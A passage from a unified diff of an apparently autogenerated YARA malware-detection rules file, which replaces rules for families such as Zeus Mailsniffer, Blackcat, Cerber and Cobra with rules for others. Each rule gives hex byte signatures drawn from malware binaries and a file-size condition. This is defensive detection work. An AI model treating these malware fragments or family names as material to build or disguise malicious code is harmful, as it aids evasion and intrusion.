-		$sequence_3 = { 8bf9 ba???????? 0fb67201 8a0a 8b1f d3e3 0fb60c06 }
-		$sequence_4 = { 83615400 53 56 57 8d7108 c7450805000000 8b46f8 }
-		$sequence_5 = { ff45f8 817df870170000 72c9 e9???????? 807daa01 8b45e8 8d1c06 }
-		$sequence_6 = { 8b5508 0facc21a c1f81a 8bd8 8955e4 }
-		$sequence_7 = { c1ef10 8d8d9cf9ffff 2bf9 03f8 a0???????? a801 7421 }
-		$sequence_8 = { 895008 8b680c 8bd5 896c2410 }
-		$sequence_9 = { 8d1c06 83c40c 8975f8 3bf3 731e }
+		$sequence_0 = { 5f e9???????? 6a3c 51 e9???????? 85c0 0f842c010000 }
+		$sequence_1 = { 81c2b4000000 69d260ea0000 895604 eb73 8d4505 50 }
+		$sequence_2 = { ff15???????? ff7508 8b35???????? 85c0 7512 }
+		$sequence_3 = { 771a 8b442414 0540f087fc 50 ffd5 015c2410 8144241460ce5800 }
+		$sequence_4 = { 894508 7509 57 ff15???????? eb54 a0???????? }
+		$sequence_5 = { 894c243c ff15???????? 85c0 5f 750a }
+		$sequence_6 = { f7d1 2bf9 8d95f0feffff 8bf7 8bfa 8bd1 }
+		$sequence_7 = { f7d1 49 8bf1 8d7e01 }
+		$sequence_8 = { 8885ecf9ffff 33c0 8dbdedf9ffff 8975f8 f3ab }
+		$sequence_9 = { 8bc5 bb16000000 99 f7ff 8bc1 8d3c9510114000 99 }
 
 	condition:
-		7 of them and filesize <172032
+		7 of them and filesize <32768
 }
-rule MALPEDIA_Win_Skip20_Auto : FILE
+rule MALPEDIA_Win_Client_Maximus_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "82237026-0542-5063-b5ce-819de193cfa5"
+		id = "9ae68e0c-f7b3-57b3-a5e5-43c9d1c73212"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.skip20"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.skip20_auto.yar#L1-L127"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.client_maximus"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.client_maximus_auto.yar#L1-L118"
 		license_url = "N/A"
-		logic_hash = "21de0ff5fbd1c6f42d6edbb2c240ff9a5cc9d69d730f1c14e8fabd969797a013"
+		logic_hash = "b18f0f0d0ef0e4099637c9406b0101b6f1ae3668adb85f5994962285717f3168"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -166876,32 +174174,32 @@ rule MALPEDIA_Win_Skip20_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 85c9 7448 ffc9 7432 ffc9 0f85150a0000 }
-		$sequence_1 = { 782e 3b0d???????? 7326 4863c9 488d1504fe0400 488bc1 }
-		$sequence_2 = { 0fb74c247a 0fb7542478 89442438 894c2430 89542428 488d15e62f0100 }
-		$sequence_3 = { 741c 3d00010000 740e 3d00020000 7536 4180493347 eb2f }
-		$sequence_4 = { e9???????? 4883bc24e000000000 7409 83fa01 0f842cf9ffff 83fa05 }
-		$sequence_5 = { 488db424ec000000 0f1f00 413bfc 732a 448b06 8bd7 }
-		$sequence_6 = { 418bb482a08a0100 eb07 4c8d15b4b2ffff 8bd6 81e200004000 747e 41ff4c2418 }
-		$sequence_7 = { 488d3d071f0500 ba58000000 488bcd e8???????? 4885c0 7468 }
-		$sequence_8 = { 89542428 488d15652f0100 440fb7442470 440fb74c2472 440fb7542476 4489542420 488d0db72f0100 }
-		$sequence_9 = { 89442438 0fb74c247a 894c2430 0fb7542478 89542428 488d15ae290100 }
+		$sequence_0 = { 89f0 0fb6c0 0fb61403 88140b 83c101 89fa 81f900010000 }
+		$sequence_1 = { 89e5 56 53 83ec10 8b1d???????? }
+		$sequence_2 = { 893424 ff15???????? 83ec08 85c0 7411 }
+		$sequence_3 = { e8???????? 8b4304 85c0 741d 8b5330 c744240800800000 c744240400000000 }
+		$sequence_4 = { 39730c 7fe1 891424 e8???????? }
+		$sequence_5 = { 7429 c70424???????? ff15???????? 83ec04 a3???????? }
+		$sequence_6 = { 8b4628 85c0 7535 c70424???????? }
+		$sequence_7 = { a3???????? c7442404???????? 893424 ff15???????? 83ec08 85c0 7411 }
+		$sequence_8 = { 89c8 0fb63c0b 99 f77c241c 89f8 }
+		$sequence_9 = { 89f8 02441500 01c6 89f0 0fb6c0 }
 
 	condition:
-		7 of them and filesize <794624
+		7 of them and filesize <106496
 }
-rule MALPEDIA_Win_Zeus_Mailsniffer_Auto : FILE
+rule MALPEDIA_Win_Cerber_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "4733ffb9-de21-5ee6-bd3e-4039874823ba"
+		id = "1b1175b4-aaae-5323-bbb6-472b8daa3220"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus_mailsniffer"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.zeus_mailsniffer_auto.yar#L1-L128"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cerber"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cerber_auto.yar#L1-L101"
 		license_url = "N/A"
-		logic_hash = "43d5df07bea6317ea4eb20e7781c6702e7589e518cedd0ad1502aceef73d3213"
+		logic_hash = "90183139badfe5f943ec4dd7b3bc0305f6ea2215a75a5dc8603646346366cf36"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -166915,34 +174213,32 @@ rule MALPEDIA_Win_Zeus_Mailsniffer_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 6a01 56 e8???????? 83c40c 85c0 7473 807b0e02 }
-		$sequence_1 = { 53 6880000000 6a03 53 53 68000000c0 8bc6 }
-		$sequence_2 = { 68???????? ff750c ff15???????? 83c40c 85c0 0f85bc000000 ffd6 }
-		$sequence_3 = { 0f84e2020000 53 8d4594 50 8d4588 50 c7459401000000 }
-		$sequence_4 = { 8b4510 0118 ff45d8 837dc800 0f8480000000 ff75f4 }
-		$sequence_5 = { 33f6 e8???????? 83c40c 84c0 0f843d020000 8b45f4 }
-		$sequence_6 = { 56 ff75fc e8???????? 83c414 8bf8 8b35???????? ff15???????? }
-		$sequence_7 = { 0f8c5b010000 40 3b442410 72dd e9???????? 50 }
-		$sequence_8 = { 74f4 6a08 8d442430 53 }
-		$sequence_9 = { 2bd1 eb99 55 8bec 83e4f8 81ecfc0e0000 53 }
+		$sequence_0 = { 4a 79f6 5f 8bc6 }
+		$sequence_1 = { 85c0 750c 8b33 e8???????? 832300 eb0e 8b4dfc }
+		$sequence_2 = { 33f9 8b88e0000000 894dd0 8b88e4000000 899864010000 8b5dd8 }
+		$sequence_3 = { 4a 79e6 47 3b7d0c }
+		$sequence_4 = { 51 53 56 8bf0 57 85f6 7508 }
+		$sequence_5 = { 4a b800000080 83e904 eb02 }
+		$sequence_6 = { 895df4 33c9 83fa08 0f9dc1 854df4 7515 }
+		$sequence_7 = { 33f9 8b88e8feffff 234808 8998fc000000 8b5874 }
 
 	condition:
-		7 of them and filesize <368640
+		7 of them and filesize <573440
 }
-rule MALPEDIA_Win_Blackcat_Auto : FILE
+rule MALPEDIA_Win_Badnews_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "64552e7e-a42b-5e42-ac85-4cf9a6355d18"
+		id = "82b67459-b37a-5597-851f-c5e10ae625fd"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackcat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.blackcat_auto.yar#L1-L120"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.badnews"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.badnews_auto.yar#L1-L214"
 		license_url = "N/A"
-		logic_hash = "2fe3958ae160b549a525be2a75569af9cb09940744adfe7a2969b920b4e1603b"
+		logic_hash = "bc13ea27737db6028c742e92e044e676e8322f3710d6ba3506e9723f27d2a819"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -166954,32 +174250,44 @@ rule MALPEDIA_Win_Blackcat_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c3 894608 c7460400000000 b001 ebe8 89c2 }
-		$sequence_1 = { 7260 8b06 01d8 51 57 50 89cf }
-		$sequence_2 = { 8975dc 8955e0 eb07 31c0 b902000000 }
-		$sequence_3 = { b104 eb0f e8???????? 89c2 c1e018 31c9 }
-		$sequence_4 = { 7504 3c02 7351 88c4 8975cc }
-		$sequence_5 = { 81f9cf040000 0f8fe4000000 81f96b040000 0f84b4010000 81f976040000 }
-		$sequence_6 = { 83ec08 a1???????? c745f800000000 c745fc00000000 85c0 7408 8d4df8 }
-		$sequence_7 = { 8d45f8 50 e8???????? 8b45f8 8b55fc 83c408 }
-		$sequence_8 = { 895804 897008 eb0b 8b45e8 894708 }
-		$sequence_9 = { ff45e4 8a02 42 8955e8 }
+		$sequence_0 = { 50 e8???????? 83c404 68???????? 6804010000 ff15???????? }
+		$sequence_1 = { c78534ffffff47657457 c78538ffffff696e646f c7853cffffff77546578 66c78540ffffff7457 }
+		$sequence_2 = { c705????????55736572 c705????????33322e64 66c705????????6c6c c605????????00 }
+		$sequence_3 = { eb02 33c9 c0e004 02c1 3423 c0c003 }
+		$sequence_4 = { 8945fc 53 56 57 8d8534ffffff }
+		$sequence_5 = { 55 8bec 8b450c 3d01020000 }
+		$sequence_6 = { d1f9 68???????? 03c9 51 }
+		$sequence_7 = { 68???????? 6a1a 68???????? 57 }
+		$sequence_8 = { 6a02 68???????? 50 a3???????? }
+		$sequence_9 = { 8bf0 56 ff15???????? 50 6a40 }
+		$sequence_10 = { 56 ffd3 85c0 7403 83c608 8a06 }
+		$sequence_11 = { 57 6a00 6880000000 6a04 6a00 6a01 6a04 }
+		$sequence_12 = { ff15???????? 85c0 7405 83c004 }
+		$sequence_13 = { 68???????? ff15???????? b8???????? 83c424 8d5002 668b08 }
+		$sequence_14 = { e8???????? 68???????? 8d45f4 c745f4682f0110 50 e8???????? cc }
+		$sequence_15 = { 83e61f c1f805 c1e606 c1e910 c0e107 8b1485d0a70110 }
+		$sequence_16 = { 8d8d54ffffff 8d5101 90 8a01 }
+		$sequence_17 = { 7414 8bc2 c1f805 83e21f c1e206 031485d0a70110 }
+		$sequence_18 = { 8b048dd0a70110 4e 807d1300 8955e4 c64418050a }
+		$sequence_19 = { 58 668986b8000000 668986be010000 c7466848960110 }
+		$sequence_20 = { 2bc2 8bf0 d1fe 6a55 ff34f5e0470110 ff7508 e8???????? }
+		$sequence_21 = { 41 84c0 75f9 2bce 741c 804415ec03 }
 
 	condition:
-		7 of them and filesize <29981696
+		7 of them and filesize <612352
 }
-rule MALPEDIA_Win_Winsloader_Auto : FILE
+rule MALPEDIA_Win_Bka_Trojaner_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "3816b057-ecfc-5190-8abf-a0a65a8930f8"
+		id = "a0a20d3c-b939-5a5e-b947-ecd1e3a9e77c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.winsloader"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.winsloader_auto.yar#L1-L171"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bka_trojaner"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bka_trojaner_auto.yar#L1-L126"
 		license_url = "N/A"
-		logic_hash = "2eada578907b5f770ab8c1dc3588915ff9d4c97daa18d7827115e92744f234da"
+		logic_hash = "b96818656a5fc18803f0bf1dba8c00052206b33d8bd6ff1c085aa051852c2a47"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -166993,38 +174301,32 @@ rule MALPEDIA_Win_Winsloader_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 83c40c 6800040000 8d8dfcf7ffff 51 }
-		$sequence_1 = { 8bf8 83c434 85ff 7510 }
-		$sequence_2 = { 89941d02fcffff 89841d06fcffff b8???????? 898c1d0afcffff 83c410 }
-		$sequence_3 = { 68???????? 51 e8???????? 68???????? 8d5c3e04 e8???????? }
-		$sequence_4 = { 898c1d0afcffff 83c410 66c7841d0efcffff4501 8d7001 8a08 }
-		$sequence_5 = { 8d8375050000 6a00 a3???????? ff15???????? }
-		$sequence_6 = { 0fb7c0 8bf0 6689841d10fcffff 56 83c316 8d941dfcfbffff 68???????? }
-		$sequence_7 = { f3a5 66a5 8b15???????? 8990fa0d0000 8b0d???????? }
-		$sequence_8 = { 8bd8 c745fcffffffff 85db 7516 56 e8???????? }
-		$sequence_9 = { c3 e8???????? 85c0 0f8487660000 c3 833d????????ff 7503 }
-		$sequence_10 = { 894dfc 80fb08 750f 32db }
-		$sequence_11 = { 33c0 40 e9???????? 8365c800 c745cc231a0110 a1???????? 8d4dc8 }
-		$sequence_12 = { 8d940dfcfbffff 52 e8???????? 83c40c 0fb685f7f3ffff }
-		$sequence_13 = { c1e100 8b9568f3ffff 8991a8ad0110 8b85f8f3ffff 05b4130000 668985f0f3ffff }
-		$sequence_14 = { 8841ff 83ea01 75f2 8b542424 8a1a 8d4701 50 }
-		$sequence_15 = { 8b049594440110 8985ccf6ffff 85c0 757c 50 8985d4f4ffff 89855cfcffff }
+		$sequence_0 = { 2bc1 33ff 89442428 397c2420 894c2438 897c242c }
+		$sequence_1 = { 8b542414 68ff030000 8d8c2468040000 03da 8b54241c 51 }
+		$sequence_2 = { 50 57 e8???????? 85c0 75c6 5d }
+		$sequence_3 = { 56 ff5124 85c0 7517 8b44247c 5f }
+		$sequence_4 = { 85c0 7439 53 8b1d???????? 55 8b2d???????? 8bff }
+		$sequence_5 = { 8b54240c 8b4c2404 8b8170ffffff 52 8b54240c 81c170ffffff 52 }
+		$sequence_6 = { 6a10 68???????? 68???????? 52 ff15???????? 83c8ff }
+		$sequence_7 = { e8???????? 59 59 8945c4 a1???????? }
+		$sequence_8 = { c7440a04???????? 8b4104 8b4004 8d9078ffffff 891408 8b4104 }
+		$sequence_9 = { 752d 837df800 7424 ff7508 8d4608 e8???????? ff7508 }
 
 	condition:
-		7 of them and filesize <270336
+		7 of them and filesize <221184
 }
-rule MALPEDIA_Win_Combos_Auto : FILE
+rule MALPEDIA_Win_Woolger_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "1f17e5a0-ef31-5686-bb42-b8b65987952e"
+		id = "903b676c-1246-53ac-bdc3-0b77fc0dda3c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.combos"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.combos_auto.yar#L1-L121"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.woolger"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.woolger_auto.yar#L1-L121"
 		license_url = "N/A"
-		logic_hash = "037e9ec47814518fd1ef388425768f46eed22a270b66cf4ee1793ac0871a3237"
+		logic_hash = "403d441c2bcd327a0a5f26d737426637c32fb82ed6205c2fd16dc75ea4a861d4"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -167038,32 +174340,32 @@ rule MALPEDIA_Win_Combos_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 57 68ffff1f00 8d45e4 50 }
-		$sequence_1 = { be???????? 8b4c2410 8bfb 8bc1 6a01 c1e902 f3a5 }
-		$sequence_2 = { 57 57 53 56 8b8dd8feffff }
-		$sequence_3 = { 89bdd4feffff 897dfc 8b4508 50 }
-		$sequence_4 = { 8d054c160110 83780800 754e b741 b35a b620 }
-		$sequence_5 = { 53 8d44240c 55 56 89442410 57 c744241000000000 }
-		$sequence_6 = { 740e 50 ff15???????? 830d????????ff c3 8b442404 c74050b0110110 }
-		$sequence_7 = { 7514 8b442408 8b4c2410 5e }
-		$sequence_8 = { 0bc5 33c1 8b848600ffffff 0bc7 5f 5e 5d }
-		$sequence_9 = { 83ec08 55 56 8b742414 85f6 0f8412010000 }
+		$sequence_0 = { 83f814 750a be???????? e9???????? 83f81b }
+		$sequence_1 = { 83ec54 6a40 8d45b0 6a00 50 c745ac44000000 e8???????? }
+		$sequence_2 = { 33c5 8945fc 33c0 668945d4 }
+		$sequence_3 = { 6685c0 8d85fcfeffff 50 0f95c3 ff15???????? 8b4f08 }
+		$sequence_4 = { 52 ff15???????? 83f801 0f858d000000 }
+		$sequence_5 = { 6a00 68???????? ff15???????? 68???????? 6a01 6a00 }
+		$sequence_6 = { 66a5 8dbdfcf8ffff 4f 8a4701 47 84c0 }
+		$sequence_7 = { 6a00 8d8dd4f4ffff 51 ffd6 85c0 75db }
+		$sequence_8 = { 83c414 81ffb80b0000 5f 7c40 e8???????? e8???????? }
+		$sequence_9 = { 3da2000000 0f8403010000 3da3000000 0f84f8000000 3da4000000 0f84e6000000 3da5000000 }
 
 	condition:
-		7 of them and filesize <163840
+		7 of them and filesize <196608
 }
-rule MALPEDIA_Win_Webc2_Div_Auto : FILE
+rule MALPEDIA_Win_Crypmic_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "ec34042e-e794-5a2f-acc9-f1f4c0dd235a"
+		id = "50202601-a687-564d-add6-7e6f376e5e2e"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_div"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.webc2_div_auto.yar#L1-L122"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.crypmic"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.crypmic_auto.yar#L1-L117"
 		license_url = "N/A"
-		logic_hash = "11aa7a8bbe87a55b44481499db0ce13e00127df87edb76e8d3596bc6375e5a87"
+		logic_hash = "9041d9d560914890b77f3fcac1afa5aa11364ed26eb5680a449dc6f4542c2153"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -167077,32 +174379,32 @@ rule MALPEDIA_Win_Webc2_Div_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 5f e9???????? 6a3c 51 e9???????? 85c0 0f842c010000 }
-		$sequence_1 = { 81c2b4000000 69d260ea0000 895604 eb73 8d4505 50 }
-		$sequence_2 = { ff15???????? ff7508 8b35???????? 85c0 7512 }
-		$sequence_3 = { 771a 8b442414 0540f087fc 50 ffd5 015c2410 8144241460ce5800 }
-		$sequence_4 = { 894508 7509 57 ff15???????? eb54 a0???????? }
-		$sequence_5 = { 894c243c ff15???????? 85c0 5f 750a }
-		$sequence_6 = { f7d1 2bf9 8d95f0feffff 8bf7 8bfa 8bd1 }
-		$sequence_7 = { f7d1 49 8bf1 8d7e01 }
-		$sequence_8 = { 8885ecf9ffff 33c0 8dbdedf9ffff 8975f8 f3ab }
-		$sequence_9 = { 8bc5 bb16000000 99 f7ff 8bc1 8d3c9510114000 99 }
+		$sequence_0 = { 395818 764a 8b7820 03f9 }
+		$sequence_1 = { 2bc1 74ec 46 3b75fc 770b 8b55f8 }
+		$sequence_2 = { 8b4de4 894f04 8b4de8 894f08 668b4df0 66894f0c 668b45f2 }
+		$sequence_3 = { 33d2 8d642400 8d4001 66890c17 }
+		$sequence_4 = { 50 8b4608 6a08 ff7604 ffd0 }
+		$sequence_5 = { 33c0 8bcf 66894302 e8???????? }
+		$sequence_6 = { 43 83c704 3b5818 72bb 5f }
+		$sequence_7 = { 55 8bec 83ec0c 8b413c 53 8b440878 03c1 }
+		$sequence_8 = { 5d c20800 8b55fc 8b4224 8d0458 0fb70c08 8b421c }
+		$sequence_9 = { 8b440878 03c1 8945fc 395818 }
 
 	condition:
-		7 of them and filesize <32768
+		7 of them and filesize <81920
 }
-rule MALPEDIA_Win_Moonbounce_Auto : FILE
+rule MALPEDIA_Win_Hui_Loader_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "c186ffa8-3b28-566b-9f82-5819628ca523"
+		id = "175084ea-2a45-5f42-bda4-3cc233036dd9"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.moonbounce"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.moonbounce_auto.yar#L1-L121"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hui_loader"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.hui_loader_auto.yar#L1-L118"
 		license_url = "N/A"
-		logic_hash = "081fa4bc70b28c3a98dc6caeb9104489e42b513d1d76e6dfbd571155c86ff551"
+		logic_hash = "96ca3a225904ad2e70a598c1b3c7fa88d26822a60a6742e1663517bed35c0526"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -167116,34 +174418,34 @@ rule MALPEDIA_Win_Moonbounce_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 7413 8d041e 85c0 0f8407feffff ff7704 6a01 }
-		$sequence_1 = { 3bfe 7426 56 56 56 56 }
-		$sequence_2 = { 6a04 6800200000 ff7650 50 ff5708 8bd8 85db }
-		$sequence_3 = { 8b5de8 5e 5f 8bc3 5b }
-		$sequence_4 = { 833800 7413 8345fc04 8b45fc 8b00 }
-		$sequence_5 = { 56 57 6a30 33ff 57 ff15???????? }
-		$sequence_6 = { a3???????? 3935???????? 7441 3935???????? }
-		$sequence_7 = { 8d45e8 50 ffd7 84c0 0f8482000000 }
-		$sequence_8 = { 8b400c 85c0 0f8495000000 03c3 50 ff570c }
-		$sequence_9 = { 3bfe 7426 56 56 56 56 68???????? }
+		$sequence_0 = { 68???????? 51 8bf8 ffd5 8d9424b8010000 8d842488090000 }
+		$sequence_1 = { ffd0 68e8030000 ffd6 8b0d???????? 51 ff15???????? 5f }
+		$sequence_2 = { 8b1402 3bd3 7406 c70109000000 }
+		$sequence_3 = { 83e01f c1f905 8d04c0 8b0c8d60e20010 8d44810c 50 }
+		$sequence_4 = { 52 50 a3???????? ff15???????? a1???????? }
+		$sequence_5 = { 83c628 83f90a 7cd9 33d2 }
+		$sequence_6 = { 8d4a01 0338 83c004 49 75f8 42 83c628 }
+		$sequence_7 = { c20400 8b15???????? 33c0 68???????? 52 }
+		$sequence_8 = { ff15???????? a3???????? 33ff 8d4c2428 }
+		$sequence_9 = { 7e0f 8b4efc 8b5401fc 031401 8b0e 891401 }
 
 	condition:
-		7 of them and filesize <70912
+		7 of them and filesize <131072
 }
-rule MALPEDIA_Win_Cobra_Auto : FILE
+rule MALPEDIA_Win_Cabart_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "962ae883-d522-5f88-b272-e61709553508"
+		id = "ec8b7b53-684b-5fca-bc08-508467faa1aa"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cobra"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cobra_auto.yar#L1-L488"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cabart"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cabart_auto.yar#L1-L118"
 		license_url = "N/A"
-		logic_hash = "0f157bf0768b0eaaf80d53d6edd02f203144bcb1fce66a02d72ea93d53a8a5ec"
+		logic_hash = "ef91551af86c18985e4a8081f5258aef75a9aeccca976feccaee2997d09b19b6"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -167154,79 +174456,33 @@ rule MALPEDIA_Win_Cobra_Auto : FILE
 		malpedia_license = "CC BY-SA 4.0"
 		malpedia_sharing = "TLP:WHITE"
 
-	strings:
-		$sequence_0 = { 7511 e8???????? 85c0 7508 ff15???????? }
-		$sequence_1 = { ff25???????? 53 56 57 8bd9 33f6 }
-		$sequence_2 = { 7514 391d???????? 754d 33c0 }
-		$sequence_3 = { 85c0 0f8e8c000000 83e801 8905???????? }
-		$sequence_4 = { 751c 8bcf ff15???????? 8d8fe8030000 8bf9 }
-		$sequence_5 = { 757f 8b05???????? 85c0 0f8e8c000000 }
-		$sequence_6 = { 5b c3 85db 7405 83fb03 }
-		$sequence_7 = { 85c0 750e 3905???????? 7e2c ff0d???????? 83f801 8b0d???????? }
-		$sequence_8 = { e8???????? 85c0 750e 33ff 8bc7 }
-		$sequence_9 = { 5f 5e 5b c3 85ff 7418 }
-		$sequence_10 = { 753c b980000000 e8???????? 85c0 a3???????? 7504 33c0 }
-		$sequence_11 = { 5e 5b c3 83fb01 7405 83fb02 }
-		$sequence_12 = { 33d2 b9e8030000 f7f1 83f805 }
-		$sequence_13 = { c9 c3 3ac8 7606 8ad1 }
-		$sequence_14 = { d2e0 0802 ff45f8 837df808 7c0b 8a041f 47 }
-		$sequence_15 = { e8???????? 83c410 85c0 7517 ff7520 ff751c }
-		$sequence_16 = { 7407 33c0 e9???????? ff15???????? e9???????? }
-		$sequence_17 = { 7f07 e8???????? eb26 83c0ff }
-		$sequence_18 = { e8???????? eb6d e8???????? 85c0 }
-		$sequence_19 = { e8???????? 33db 3bc3 741a }
-		$sequence_20 = { e8???????? 8bc7 eb0e 4883c108 e8???????? b801005921 }
-		$sequence_21 = { 85c0 7564 488b0b 488b01 }
-		$sequence_22 = { ff5024 488d4d08 e8???????? 488d4d08 e8???????? 488bcd }
-		$sequence_23 = { ff501c 488d4d08 e8???????? 498bce e8???????? 48832700 ba02000000 }
-		$sequence_24 = { ff5064 488b0e 4883c108 e8???????? 488b5c2430 488b6c2438 488b742440 }
-		$sequence_25 = { 83781400 750a b865005921 e9???????? }
-		$sequence_26 = { 8bec 56 6a00 6880000000 6a03 6a00 6a03 }
-		$sequence_27 = { 83feff 7505 33c0 5e 5d c3 8b4d08 }
-		$sequence_28 = { 6a03 68000000c0 50 ff15???????? 8bf0 83feff 7505 }
-		$sequence_29 = { 83c0fe 668b4802 83c002 663bcb 75f4 8b15???????? 8b0d???????? }
-		$sequence_30 = { 8908 8b0d???????? 895004 894808 33c0 }
-		$sequence_31 = { c3 8b4d08 57 51 6a00 }
-		$sequence_32 = { 6689440ffc 6685c0 75ee f685c003000010 }
-		$sequence_33 = { 8d45e8 50 6a00 6aff e8???????? 85c0 }
-		$sequence_34 = { 68???????? 51 ffd6 83c40c 6a28 }
-		$sequence_35 = { ff15???????? 83f87a 740b 3d230000c0 }
-		$sequence_36 = { 8b7d0c 3bc3 7508 3bfb }
-		$sequence_37 = { ff15???????? 488bcf ff15???????? 41b701 }
-		$sequence_38 = { 48894c2450 4c89642448 488d4c2468 48894c2440 4c89642438 }
-		$sequence_39 = { 75e8 85f6 74e4 418936 b801000000 4881c4480d0000 }
-		$sequence_40 = { 48f7d1 66837c4bfc5c 7413 488bfb 4883c9ff 66f2af 8b05???????? }
-		$sequence_41 = { 8d8588feffff 68???????? 50 ff15???????? 83c42c }
-		$sequence_42 = { b914000000 84c0 0f45f9 488bce }
-		$sequence_43 = { 488bce 8bd7 ff15???????? 85c0 }
-		$sequence_44 = { 7507 32c0 e9???????? c745b818000000 }
-		$sequence_45 = { 668b08 83c002 6685c9 75f5 2bc2 d1f8 66837c43fe5c }
-		$sequence_46 = { 05a1000000 50 8d84249c0d0000 68???????? }
-		$sequence_47 = { 0f8456feffff 807c241301 6800080000 0f8544020000 }
-		$sequence_48 = { 0f8431ffffff 8b4d08 5f 8931 }
-		$sequence_49 = { 0f84100f0000 6800080000 57 56 }
-		$sequence_50 = { 05a2000000 50 8d94249c0d0000 68???????? }
-		$sequence_51 = { 05a2000000 50 8d8c249c0d0000 68???????? }
-		$sequence_52 = { 668cc8 c3 53 50 }
-		$sequence_53 = { 85c0 740a b8050000c0 e9???????? }
-		$sequence_54 = { c745bc04390100 66c745d81800 66c745da1a00 c745dc10390100 }
-		$sequence_55 = { c745bc01000000 c745c000000000 6a00 6a00 8d55ac 52 }
+	strings:
